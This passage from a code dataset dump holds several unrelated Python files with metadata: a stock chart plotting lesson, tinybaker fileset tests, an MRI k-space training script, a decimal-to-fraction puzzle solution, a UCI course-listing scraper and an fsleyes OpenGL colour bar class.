{"api_name": "pyld.jsonld", "line_number": 267, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 271, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 276, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 276, "usage_type": "name"}, {"api_name": "subprocess.STDOUT", "line_number": 276, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 283, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 292, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 294, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 294, "usage_type": "name"}, {"api_name": "subprocess.STDOUT", "line_number": 294, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 304, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 373, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 374, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 374, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 410, "usage_type": "call"}, {"api_name": "utils.readFile", "line_number": 451, "usage_type": "call"}]} {"seq_id": "52584827", "text": "# -*- coding: utf-8 -*-\n'''\nTopQuant-简称TQ极宽智能量化回溯分析系统，培训课件-配套教学python课件程序\n\nTop极宽量化(原zw量化)，Python量化第一品牌 \nby Top极宽·量化开源团队 2017.10.1 首发\n\n网站： www.TopQuant.vip www.ziwang.com\nQQ群: Top极宽量化1群，124134140\n Top极宽量化2群，650924099\n Top极宽量化3群，450853713\n \n'''\n\nimport pandas as pd\nimport plotly as py\nimport plotly.figure_factory as pyff\n#from plotly.tools import FigureFactory as pyff\n#\nimport zsys\nimport ztools as zt\nimport ztools_str as zstr\nimport ztools_draw as zdr\nimport zpd_talib as zta\n#\n#-----------------\nprint('''\n 本案例取消\n 因为pd,mpl,ts，openCV，sklearn,tf部分基础模块库，api函数接口改了\n 有兴趣的用户，请自行根据提示信息，修改相关源码\n\n 开源项目，函数API接口，参数变化，属于很正常的现象\n 每次大的版本升级，都会有个别模块库函数API接口变化，\n 这种因为版本变化，引发的程序代码冲突，称为：版本冲突\n 所以，使用开源软件，要养成多动手搜索/查看最新版本的软件文档/函数接口餐宿\n ''')\n#-----------------\n\n#================================\n#1 预处理\n\npd.set_option('display.width', 450) \npyplt=py.offline.plot \n#---------------\n\n#2\nxcod='600663'\nfss='data/'+xcod+'.csv'\ndf=pd.read_csv(fss,index_col=0)\ndf=df.sort_index()\nprint('\\n#2,df.tail()')\nprint(df.tail())\n\n#3\nprint('\\n#3,plot-->tmp/tmp_.html')\nhdr,fss='k线图-'+xcod,'tmp/tmp_.html'\ndf2=df.tail(100)\n\n#\n# plotly函数接口变化，取消了vol成交量图形\n#\nzdr.drDF_cdl(df2,ftg=fss,m_title=hdr)\n\n#4\nprint('\\n#4,ok')\n", "sub_path": "kc202_zd_dr.py", "file_name": "kc202_zd_dr.py", "file_ext": "py", "file_size_in_byte": 1734, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.set_option", "line_number": 42, "usage_type": "call"}, {"api_name": "plotly.offline", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "ztools_draw.drDF_cdl", "line_number": 62, "usage_type": "call"}]} {"seq_id": "435980945", "text": "import pytest\nfrom tinybaker import Transform, fileset, sequence\nfrom tinybaker.exceptions import FileSetError, BakerError, BakerUnsupportedError\n\n\ndef test_filesets_work_for_inputs():\n class Concat(Transform):\n input_tags = {fileset(\"files\")}\n output_tags = {\"concatted\"}\n\n def script(self):\n content = \"\"\n for ref in self.input_files[fileset(\"files\")]:\n with ref.open() as f:\n content = content + f.read()\n\n with self.output_files[\"concatted\"].open() as f:\n f.write(content)\n\n Concat(\n input_paths={\n fileset(\"files\"): [\"./tests/__data__/foo.txt\", \"./tests/__data__/bar.txt\"],\n },\n output_paths={\"concatted\": \"/tmp/concatted\"},\n overwrite=True,\n ).run()\n\n with open(\"/tmp/concatted\", \"r\") as f:\n assert f.read() == \"foo contentsbar contents\"\n\n\ndef test_filesets_work_for_outputs():\n class Concat(Transform):\n input_tags = {\"source\"}\n output_tags = {fileset(\"copied\")}\n\n def script(self):\n with self.input_files[\"source\"].open() as f:\n content = f.read()\n\n for ref in self.output_files[fileset(\"copied\")]:\n with ref.open() as f:\n f.write(content)\n\n outpaths = [\"/tmp/copy1\", \"/tmp/copy2\", \"/tmp/copy3\"]\n Concat(\n input_paths={\n \"source\": \"./tests/__data__/foo.txt\",\n },\n output_paths={fileset(\"copied\"): outpaths},\n overwrite=True,\n ).run()\n\n for path in outpaths:\n with open(path, \"r\") as f:\n assert f.read() == \"foo contents\"\n\n\ndef test_filesets_dont_work_for_sequences():\n class One(Transform):\n input_tags = {\"foo\"}\n output_tags = {fileset(\"files\")}\n\n def script(self):\n pass\n\n class Two(Transform):\n input_tags = {fileset(\"files\")}\n output_tags = {\"bar\"}\n\n def script(self):\n pass\n\n with pytest.raises(BakerUnsupportedError):\n sequence([One, Two])(\n input_paths={\"foo\": \"./tests/__data__/foo.txt\"},\n output_paths={\"bar\": \"./tests/__data__/bar.txt\"},\n overwrite=True,\n ).run()", "sub_path": "tests/fast/test_filesets.py", "file_name": "test_filesets.py", "file_ext": "py", "file_size_in_byte": 2226, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tinybaker.Transform", "line_number": 7, "usage_type": "name"}, {"api_name": "tinybaker.fileset", "line_number": 8, "usage_type": "call"}, {"api_name": "tinybaker.fileset", "line_number": 13, "usage_type": "call"}, {"api_name": "tinybaker.fileset", "line_number": 22, "usage_type": "call"}, {"api_name": "tinybaker.Transform", "line_number": 33, "usage_type": "name"}, {"api_name": "tinybaker.fileset", "line_number": 35, "usage_type": "call"}, {"api_name": "tinybaker.fileset", "line_number": 41, "usage_type": "call"}, {"api_name": "tinybaker.fileset", "line_number": 50, "usage_type": "call"}, {"api_name": "tinybaker.Transform", "line_number": 60, "usage_type": "name"}, {"api_name": "tinybaker.fileset", "line_number": 62, "usage_type": "call"}, {"api_name": "tinybaker.Transform", "line_number": 67, "usage_type": "name"}, {"api_name": "tinybaker.fileset", "line_number": 68, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 74, "usage_type": "call"}, {"api_name": "tinybaker.exceptions.BakerUnsupportedError", "line_number": 74, "usage_type": "argument"}, {"api_name": "tinybaker.sequence", "line_number": 75, "usage_type": "call"}]} {"seq_id": "216535042", "text": "import argparse\nimport cmath\nimport logging\nimport math\nimport pathlib\nimport random\nimport shutil\n\nimport h5py\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torch.cuda as cuda\nimport torch.nn as nn\nfrom skimage.measure import compare_ssim as ssim\nfrom tensorboardX import SummaryWriter\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\nfrom torch.utils.data import Dataset\n\nimport utils\nfrom data import transforms\nfrom anet_model import AnetModel\nfrom args import get_args\n\nargs = get_args()\ntrain_loader, dev_loader = utils.create_data_loaders(args)\n\n# ### Custom dataset class\n\ndef build_model(args):\n model = AnetModel(\n in_chans=2,\n out_chans=2,\n chans=args.num_chans,\n num_pool_layers=args.num_pools,\n drop_prob=args.drop_prob\n ).to(args.device)\n return model\n\n# def build_optim(args, params):\n# optimizer = torch.optim.RMSprop(params, args.learning_rate, weight_decay=args.weight_decay)\n# return optimizer\n\n# def load_model(checkpoint_file):\n# checkpoint = torch.load(checkpoint_file)\n# args = checkpoint['args']\n# model = build_model(args)\n# model.load_state_dict(checkpoint['model'])\n\n# optimizer = build_optim(args, model.parameters())\n# optimizer.load_state_dict(checkpoint['optimizer'])\n# return checkpoint, model, optimizer\n\n# ### Image normalized\n\nloss_func = nn.MSELoss()\nbest_val_loss = 1e9\nwriter = SummaryWriter(log_dir=args.exp_dir+'/summary')\nvalid_loss=[]\ntrain_loss=[]\nprint('Total number of epochs:', args.epoch)\nprint('Total number of training iterations: ',len(train_loader))\nprint('Total number of validation iterations: ',len(dev_loader))\n\nif args.resume:\n checkpoint, model, optimizer = utils.load_model(args.exp_dir + \"/best_model.pt\", build_model(args))\n best_dev_loss = checkpoint['best_dev_loss']\n start_epoch = checkpoint['epoch']\n if checkpoint['state']=='train':\n train = False\n del checkpoint\nelse:\n model = build_model(args)\n # if args.data_parallel:\n # model = torch.nn.DataParallel(model)\n optimizer = utils.build_optim(args, model.parameters())\n best_dev_loss = 1e9\n start_epoch = 0\n train = True\n\nprint(model)\n\n# if args.resume:\n# checkpoint, model optimizer = load_model(args.checkpoint)\n# #best_val_loss = checkpoint['best_val_loss']\n# start_epoch = checkpoint['epoch']\n# if checkpoint['state']=='train':\n# train = False\n# del checkpoint\n# else:\n# encoder = Encoder().cuda()\n# decoder = Decoder().cuda()\n# parameters = list(encoder.parameters())+ list(decoder.parameters())\n# optimizer = torch.optim.Adam(parameters, lr=args.learning_rate)\n# start_epoch = 0\n# train = True\n\nfor i in range(start_epoch, args.epoch):\n print(\"Epoch: \",i)\n global_step = i * len(train_loader) \n ##########################################TRAINING PHASE######################################################\n if train:\n print(\"Training Phase\")\n total_loss_kspace = total_loss_image = 0.0\n model.train()\n for j, data in enumerate(train_loader):\n original_kspace, masked_kspace, mask, target, fname, slice_index = data\n\n # preprocessing the kspace (input)\n if args.preprocess == \"unitize\":\n nmasked_kspace, divisor = utils.unitize(masked_kspace)\n noriginal_kspace, divisor = utils.unitize(original_kspace, divisor)\n elif args.preprocess == \"standardize\":\n nmasked_kspace, mean, std = utils.standardize(masked_kspace)\n noriginal_kspace, mean, std = utils.standardize(original_kspace, mean, std)\n\n # transforming the input according to dimension and type \n noriginal_kspace, nmasked_kspace = utils.transformshape(noriginal_kspace), utils.transformshape(nmasked_kspace)\n\n nmasked_kspace = Variable(nmasked_kspace).to(args.device)\n noriginal_kspace = Variable(noriginal_kspace).to(args.device)\n \n # forward pass\n outputkspace = model(nmasked_kspace)\n\n # finding the kspace loss\n loss_kspace = loss_func(outputkspace, noriginal_kspace)\n loss_image = loss_func(utils.kspaceto2dimage(utils.transformback(outputkspace), args.polar), utils.kspaceto2dimage(utils.transformback(noriginal_kspace), args.polar))\n\n # setting up all the gradients to zero\n optimizer.zero_grad()\n\n #backward pass\n (loss_kspace + 3.0*loss_image).backward()\n optimizer.step()\n\n total_loss_kspace += loss_kspace.data.item()\n total_loss_image += loss_image.data.item()\n if j % 100 == 0:\n avg_loss_kspace, avg_loss_image = total_loss_kspace/(j + 1), total_loss_image/(j + 1)\n print(j+1, ': AVG TRAINING LOSS: Kspace:', avg_loss_kspace, 'Image', avg_loss_image, 'ITR LOSS: Kspace', loss_kspace.data.item(), 'Image', loss_image.data.item())\n\n if j % 500 == 0:\n utils.compareimageoutput(original_kspace, masked_kspace, outputkspace, mask, writer, global_step + j + 1, 0, args.polar)\n writer.add_scalar('TrainKspaceLoss', loss_kspace.data.item(), global_step + j+1)\n writer.add_scalar('TrainImageLoss', loss_image.data.item(), global_step + j+1)\n utils.save_model(args, args.exp_dir, i+1 , model, optimizer, best_val_loss, False, 'train') \n # train_loss.append(total_loss_kspace/len(train_loader))\n train = True\n \n ################################VALIDATION#######################################################\n print(\"Validation Phase\")\n # validation loss\n total_val_loss = 0.0\n model.eval()\n for j,data in enumerate(dev_loader):\n original_kspace, masked_kspace, mask, target, fname, slice_index = data\n\n # preprocessing the kspace (input)\n if args.preprocess == \"unitize\":\n nmasked_kspace, divisor = utils.unitize(masked_kspace)\n noriginal_kspace, divisor = utils.unitize(original_kspace, divisor)\n elif args.preprocess == \"standardize\":\n nmasked_kspace, mean, std = utils.standardize(masked_kspace)\n noriginal_kspace, mean, std = utils.standardize(original_kspace, mean, std)\n\n # transforming the input according to dimension and type \n noriginal_kspace, nmasked_kspace = utils.transformshape(noriginal_kspace), utils.transformshape(nmasked_kspace)\n\n nmasked_kspace = Variable(nmasked_kspace).to(args.device)\n noriginal_kspace = Variable(noriginal_kspace).to(args.device)\n \n # forward pass\n outputkspace = model(nmasked_kspace)\n \n # finding the kspace loss\n loss_kspace = loss_func(outputkspace, noriginal_kspace)\n loss_image = loss_func(utils.kspaceto2dimage(utils.transformback(outputkspace), args.polar), utils.kspaceto2dimage(utils.transformback(noriginal_kspace), args.polar))\n\n loss_itr = loss_kspace.data.item() + loss_image.data.item()\n \n total_val_loss += loss_itr\n\n if j % 100 == 0:\n avg_loss = total_val_loss/(j+1)\n print(j+1, ': AVG VALIDATION LOSS:', avg_loss, 'ITR LOSS:', loss_itr)\n if j % 200 == 0:\n utils.compareimageoutput(original_kspace,masked_kspace,outputkspace,mask,writer,global_step + j+1, 0, args.polar)\n \n writer.add_scalar('ValidationLoss', loss_itr, global_step + j+1)\n \n valid_loss.append(total_val_loss / len(dev_loader))\n \n print('saving')\n is_new_best = valid_loss[-1] < best_val_loss\n best_val_loss = min(best_val_loss, valid_loss[-1])\n print(\"best val loss :\",best_val_loss)\n utils.save_model(args, args.exp_dir, i+1, model, optimizer, best_val_loss, is_new_best, 'valid') \nwriter.close()\n", "sub_path": "run_model.py", "file_name": "run_model.py", "file_ext": "py", "file_size_in_byte": 7872, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "args.get_args", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.create_data_loaders", "line_number": 27, "usage_type": "call"}, {"api_name": "anet_model.AnetModel", "line_number": 32, "usage_type": "call"}, {"api_name": "args.num_chans", "line_number": 35, "usage_type": "attribute"}, {"api_name": "args.num_pools", "line_number": 36, "usage_type": "attribute"}, {"api_name": "args.drop_prob", "line_number": 37, "usage_type": "attribute"}, {"api_name": "args.device", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 59, "usage_type": "call"}, {"api_name": "args.exp_dir", "line_number": 59, "usage_type": "attribute"}, {"api_name": "args.epoch", "line_number": 62, "usage_type": "attribute"}, {"api_name": "args.resume", "line_number": 66, "usage_type": "attribute"}, {"api_name": "utils.load_model", "line_number": 67, "usage_type": "call"}, {"api_name": "args.exp_dir", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils.build_optim", "line_number": 77, "usage_type": "call"}, {"api_name": "args.epoch", "line_number": 99, "usage_type": "attribute"}, {"api_name": "args.preprocess", "line_number": 111, "usage_type": "attribute"}, {"api_name": "utils.unitize", "line_number": 112, "usage_type": "call"}, {"api_name": "utils.unitize", "line_number": 113, "usage_type": "call"}, {"api_name": "args.preprocess", "line_number": 114, "usage_type": "attribute"}, {"api_name": "utils.standardize", "line_number": 115, "usage_type": "call"}, {"api_name": "utils.standardize", "line_number": 116, "usage_type": "call"}, {"api_name": "utils.transformshape", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 121, "usage_type": "call"}, {"api_name": "args.device", "line_number": 121, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 122, "usage_type": "call"}, {"api_name": "args.device", "line_number": 122, "usage_type": "attribute"}, {"api_name": "utils.kspaceto2dimage", "line_number": 129, "usage_type": "call"}, {"api_name": "utils.transformback", "line_number": 129, "usage_type": "call"}, {"api_name": "args.polar", "line_number": 129, "usage_type": "attribute"}, {"api_name": "utils.compareimageoutput", "line_number": 145, "usage_type": "call"}, {"api_name": "args.polar", "line_number": 145, "usage_type": "attribute"}, {"api_name": "utils.save_model", "line_number": 148, "usage_type": "call"}, {"api_name": "args.exp_dir", "line_number": 148, "usage_type": "attribute"}, {"api_name": "args.preprocess", "line_number": 161, "usage_type": "attribute"}, {"api_name": "utils.unitize", "line_number": 162, "usage_type": "call"}, {"api_name": "utils.unitize", "line_number": 163, "usage_type": "call"}, {"api_name": "args.preprocess", "line_number": 164, "usage_type": "attribute"}, {"api_name": "utils.standardize", "line_number": 165, "usage_type": "call"}, {"api_name": "utils.standardize", "line_number": 166, "usage_type": "call"}, {"api_name": "utils.transformshape", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 171, "usage_type": "call"}, {"api_name": "args.device", "line_number": 171, "usage_type": "attribute"}, {"api_name": "torch.autograd.Variable", "line_number": 172, "usage_type": "call"}, {"api_name": "args.device", "line_number": 172, "usage_type": "attribute"}, {"api_name": "utils.kspaceto2dimage", "line_number": 179, "usage_type": "call"}, {"api_name": "utils.transformback", "line_number": 179, "usage_type": "call"}, {"api_name": "args.polar", "line_number": 179, "usage_type": "attribute"}, {"api_name": "utils.compareimageoutput", "line_number": 189, "usage_type": "call"}, {"api_name": "args.polar", "line_number": 189, "usage_type": "attribute"}, {"api_name": "utils.save_model", "line_number": 199, "usage_type": "call"}, {"api_name": "args.exp_dir", "line_number": 199, "usage_type": "attribute"}]} {"seq_id": "138914890", "text": "\"\"\"BOJ Q5376 - 소수를 분수로 (https://www.acmicpc.net/problem/5376)\n\"\"\"\n\nfrom fractions import gcd\n\nn = int(input())\nfor i in range(n):\n num = input()\n divisor = dividend = 0\n if '(' in num:\n # ex) num: '0.12(34)'\n # ==> a: '12', b: '34', divisior = 9900, dividend = 1234\n a, b = num[2:-1].split('(')\n divisor = (10 ** len(a)) * (10 ** len(b) - 1)\n dividend = int(a + b) - (int(a) if a else 0)\n else:\n a = num[2:]\n divisor = 10 ** len(a)\n dividend = int(a)\n\n gcd_value = gcd(divisor, dividend)\n print(\"%d/%d\" % (dividend // gcd_value, divisor // gcd_value))\n", "sub_path": "q5376.py", "file_name": "q5376.py", "file_ext": "py", "file_size_in_byte": 638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fractions.gcd", "line_number": 21, "usage_type": "call"}]} {"seq_id": "498961862", "text": "'''\nCreated on Jan 21, 2018\n\n@author: andrewself\n'''\nimport bs4 as bs\nimport urllib.request\n\nBASE_URL = 'https://www.reg.uci.edu/perl/WebSoc?'\n\nCOURSE_CODE_INDEX = 0\nMAX_INDEX = 8\nENR_INDEX = 9\nWL_INDEX = 10\nREQ_INDEX = 11\n\n#sauce = urllib.request.urlopen('https://pythonprogramming.net/parsememcparseface/').read()\n#soup = bs.BeautifulSoup(sauce,'lxml')\n\n'''Gets list of names of all departments to creatre url for each department''' \ndef getDepts():\n Depts = set()\n with urllib.request.urlopen(BASE_URL) as sauce:\n soup = bs.BeautifulSoup(sauce,'lxml')\n for option in soup.find_all('select'):\n #print(option.get('name'))\n if (option.get('name') == 'Dept'):\n for name in option.find_all('option'):\n Depts.add(name.get('value'))\n return Depts\n\n\n'''creates url for each department'''\ndef getURL(depts):\n urls = set()\n for i in sorted(depts):\n #print(i)\n fields=[('YearTerm','2018-14'),('ShowFinals','1'),('ShowComments','1'),('Dept',i)]\n url = BASE_URL + urllib.parse.urlencode(fields)\n #print(url)\n urls.add(url)\n return urls\n\n\n'''for each url, creates a dictionary {coursecode: (max, enrolled, waitlisted, requests)}'''\ndef UrlToDict(url):\n codes={}\n sauce = urllib.request.urlopen(url).read()\n soup = bs.BeautifulSoup(sauce, 'lxml')\n for tr in soup.find_all('tr'):\n #print(tr)\n classes = [td.string for td in tr.find_all('td')]\n if (len(classes)==17 and classes[3] != '0'):\n #print(classes)\n code = classes[COURSE_CODE_INDEX]\n cap = classes[MAX_INDEX]\n enr = classes[ENR_INDEX]\n if '/' in enr:\n enr = enr[enr.find('/ ')+2:]\n wl = classes[WL_INDEX]\n req = classes[REQ_INDEX]\n codes[code] = (cap,enr,req,wl)\n #print(codes) \n #print(url)\n return codes\n \n'''combines dictionary of every department'''\ndef getAllInfo(urls):\n all_info = {}\n for url in urls:\n info= UrlToDict(url)\n for k,v in info.items():\n all_info[k]=v\n return all_info\n\n'''prints master dictionary'''\ndef print_dict(info):\n for k,v in info.items():\n print(k,v)\n print(len(info))\n \nif __name__ == '__main__':\n departments = getDepts()\n urls = getURL(departments)\n master_dict=getAllInfo(urls)\n print_dict(master_dict)\n ", "sub_path": "AntAlmanacWebCrawler.py", "file_name": "AntAlmanacWebCrawler.py", "file_ext": "py", "file_size_in_byte": 2437, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 23, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 23, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 23, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 24, "usage_type": "call"}, {"api_name": "urllib.request.parse.urlencode", "line_number": 39, "usage_type": "call"}, {"api_name": "urllib.request.parse", "line_number": 39, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 39, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 48, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 48, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 48, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 49, "usage_type": "call"}]} {"seq_id": "391408740", "text": "#!/usr/bin/env python\n#\n# colourbarcanvas.py - Render a colour bar using OpenGL and matplotlib.\n#\n# Author: Paul McCarthy <pauldmccarthy@gmail.com>\n#\n\"\"\"This module provides the :class:`ColourBarCanvas`.\n\nThe :class:`ColourBarCanvas` contains logic to draw a colour bar (with\nlabels), and then renders said colour bar as a texture using OpenGL.\n\nSee the :mod:`~fsleyes_widgets.colourbarbitmap` module for details on how\nthe colour bar is created.\n\"\"\"\n\nimport logging\n\nimport OpenGL.GL as gl\nimport numpy as np\n\nimport fsleyes_props as props\nimport fsleyes_widgets.utils.colourbarbitmap as cbarbmp\nimport fsleyes.gl.textures as textures\n\n\nlog = logging.getLogger(__name__)\n\n\nclass ColourBarCanvas(props.HasProperties):\n \"\"\"Contains logic to render a colour bar as an OpenGL texture.\n \"\"\"\n\n cmap = props.ColourMap()\n \"\"\"The :mod:`matplotlib` colour map to use.\"\"\"\n\n\n negativeCmap = props.ColourMap()\n \"\"\"Negative colour map to use, if :attr:`useNegativeCmap` is ``True``.\"\"\"\n\n\n useNegativeCmap = props.Boolean(default=False)\n \"\"\"Whether or not to use the :attr:`negativeCmap`.\n \"\"\"\n\n\n cmapResolution = props.Int(minval=2, maxval=1024, default=256)\n \"\"\"Number of discrete colours to use in the colour bar. \"\"\"\n\n\n invert = props.Boolean(default=False)\n \"\"\"Invert the colour map(s). \"\"\"\n\n\n vrange = props.Bounds(ndims=1)\n \"\"\"The minimum/maximum values to display.\"\"\"\n\n\n label = props.String()\n \"\"\"A label to display under the centre of the colour bar.\"\"\"\n\n\n orientation = props.Choice(('horizontal', 'vertical'))\n \"\"\"Whether the colour bar should be vertical or horizontal. \"\"\"\n\n\n labelSide = props.Choice(('top-left', 'bottom-right'))\n \"\"\"Whether the colour bar labels should be on the top/left, or bottom/right\n of the colour bar (depending upon whether the colour bar orientation is\n horizontal/vertical).\n \"\"\"\n\n\n textColour = props.Colour(default=(1, 1, 1, 1))\n \"\"\"Colour to use for the colour bar label. \"\"\"\n\n\n bgColour = props.Colour(default=(0, 0, 0, 1))\n \"\"\"Colour to use for the background. \"\"\"\n\n\n def __init__(self):\n \"\"\"Adds a few listeners to the properties of this object, to update\n the colour bar when they change.\n \"\"\"\n\n self._tex = None\n self._name = '{}_{}'.format(self.__class__.__name__, id(self))\n\n self.addGlobalListener(self._name, self.__updateTexture)\n\n\n def __updateTexture(self, *a):\n self._genColourBarTexture()\n self.Refresh()\n\n\n def _initGL(self):\n \"\"\"Called automatically by the OpenGL canvas target superclass (see the\n :class:`.WXGLCanvasTarget` and :class:`.OSMesaCanvasTarget` for\n details).\n\n Generates the colour bar texture.\n \"\"\"\n self._genColourBarTexture()\n\n\n def destroy(self):\n \"\"\"Should be called when this ``ColourBarCanvas`` is no longer needed.\n Destroys the :class:`.Texture2D` instance used to render the colour\n bar.\n \"\"\"\n self.removeGlobalListener(self._name)\n self._tex.destroy()\n self._tex = None\n\n\n def _genColourBarTexture(self):\n \"\"\"Generates a texture containing an image of the colour bar,\n according to the current property values.\n \"\"\"\n\n if not self._setGLContext():\n return\n\n w, h = self.GetSize()\n\n if w < 50 or h < 50:\n return\n\n if self.orientation == 'horizontal':\n if self.labelSide == 'top-left': labelSide = 'top'\n else: labelSide = 'bottom'\n else:\n if self.labelSide == 'top-left': labelSide = 'left'\n else: labelSide = 'right'\n\n if self.cmap is None:\n bitmap = np.zeros((w, h, 4), dtype=np.uint8)\n else:\n\n if self.useNegativeCmap:\n negCmap = self.negativeCmap\n ticks = [0.0, 0.49, 0.51, 1.0]\n ticklabels = ['{:0.2f}'.format(-self.vrange.xhi),\n '{:0.2f}'.format(-self.vrange.xlo),\n '{:0.2f}'.format( self.vrange.xlo),\n '{:0.2f}'.format( self.vrange.xhi)]\n tickalign = ['left', 'right', 'left', 'right']\n else:\n negCmap = None\n ticks = [0.0, 1.0]\n tickalign = ['left', 'right']\n ticklabels = ['{:0.2f}'.format(self.vrange.xlo),\n '{:0.2f}'.format(self.vrange.xhi)]\n\n bitmap = cbarbmp.colourBarBitmap(\n cmap=self.cmap,\n negCmap=negCmap,\n invert=self.invert,\n ticks=ticks,\n ticklabels=ticklabels,\n tickalign=tickalign,\n width=w,\n height=h,\n label=self.label,\n orientation=self.orientation,\n labelside=labelSide,\n textColour=self.textColour,\n cmapResolution=self.cmapResolution)\n\n if self._tex is None:\n self._tex = textures.Texture2D('{}_{}'.format(\n type(self).__name__, id(self)), gl.GL_LINEAR)\n\n # The bitmap has shape W*H*4, but the\n # Texture2D instance needs it in shape\n # 4*W*H\n bitmap = np.fliplr(bitmap).transpose([2, 0, 1])\n\n self._tex.setData(bitmap)\n self._tex.refresh()\n\n\n def _draw(self):\n \"\"\"Renders the colour bar texture using all available canvas space.\"\"\"\n\n if self._tex is None or not self._setGLContext():\n return\n\n width, height = self.GetSize()\n\n # viewport\n gl.glViewport(0, 0, width, height)\n gl.glMatrixMode(gl.GL_PROJECTION)\n gl.glLoadIdentity()\n gl.glOrtho(0, 1, 0, 1, -1, 1)\n gl.glMatrixMode(gl.GL_MODELVIEW)\n gl.glLoadIdentity()\n\n gl.glClearColor(*self.bgColour)\n gl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)\n gl.glEnable(gl.GL_BLEND)\n gl.glBlendFunc(gl.GL_SRC_ALPHA, gl.GL_ONE_MINUS_SRC_ALPHA)\n gl.glShadeModel(gl.GL_FLAT)\n\n self._tex.drawOnBounds(0, 0, 1, 0, 1, 0, 1)\n", "sub_path": "fsleyes/gl/colourbarcanvas.py", "file_name": "colourbarcanvas.py", "file_ext": "py", "file_size_in_byte": 6255, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "fsleyes_props.HasProperties", "line_number": 29, "usage_type": "attribute"}, {"api_name": "fsleyes_props.ColourMap", "line_number": 33, "usage_type": "call"}, {"api_name": "fsleyes_props.ColourMap", "line_number": 37, "usage_type": "call"}, {"api_name": "fsleyes_props.Boolean", "line_number": 41, "usage_type": "call"}, {"api_name": "fsleyes_props.Int", "line_number": 46, "usage_type": "call"}, {"api_name": "fsleyes_props.Boolean", "line_number": 50, "usage_type": "call"}, {"api_name": "fsleyes_props.Bounds", "line_number": 54, "usage_type": "call"}, {"api_name": "fsleyes_props.String", "line_number": 58, "usage_type": "call"}, {"api_name": "fsleyes_props.Choice", "line_number": 62, "usage_type": "call"}, {"api_name": "fsleyes_props.Choice", "line_number": 66, "usage_type": "call"}, {"api_name": "fsleyes_props.Colour", "line_number": 73, "usage_type": "call"}, {"api_name": "fsleyes_props.Colour", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 138, "usage_type": "attribute"}, {"api_name": "fsleyes_widgets.utils.colourbarbitmap.colourBarBitmap", "line_number": 156, "usage_type": "call"}, {"api_name": "fsleyes_widgets.utils.colourbarbitmap", "line_number": 156, "usage_type": "name"}, {"api_name": "fsleyes.gl.textures.Texture2D", "line_number": 172, "usage_type": "call"}, {"api_name": "fsleyes.gl.textures", "line_number": 172, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_LINEAR", "line_number": 173, "usage_type": "attribute"}, {"api_name": "OpenGL.GL", "line_number": 173, "usage_type": "name"}, {"api_name": "numpy.fliplr", "line_number": 178, "usage_type": "call"}, {"api_name": "OpenGL.GL.glViewport", "line_number": 193, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 193, "usage_type": "name"}, {"api_name": "OpenGL.GL.glMatrixMode", "line_number": 194, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 194, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_PROJECTION", "line_number": 194, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glLoadIdentity", "line_number": 195, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 195, "usage_type": "name"}, {"api_name": "OpenGL.GL.glOrtho", "line_number": 196, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 196, "usage_type": "name"}, {"api_name": "OpenGL.GL.glMatrixMode", "line_number": 197, "usage_type": "call"}, {"api_name": "OpenGL.GL", "line_number": 197, "usage_type": "name"}, {"api_name": "OpenGL.GL.GL_MODELVIEW", "line_number": 197, "usage_type": "attribute"}, {"api_name": "OpenGL.GL.glLoadIdentity", "line_number": 198, "usage_type": 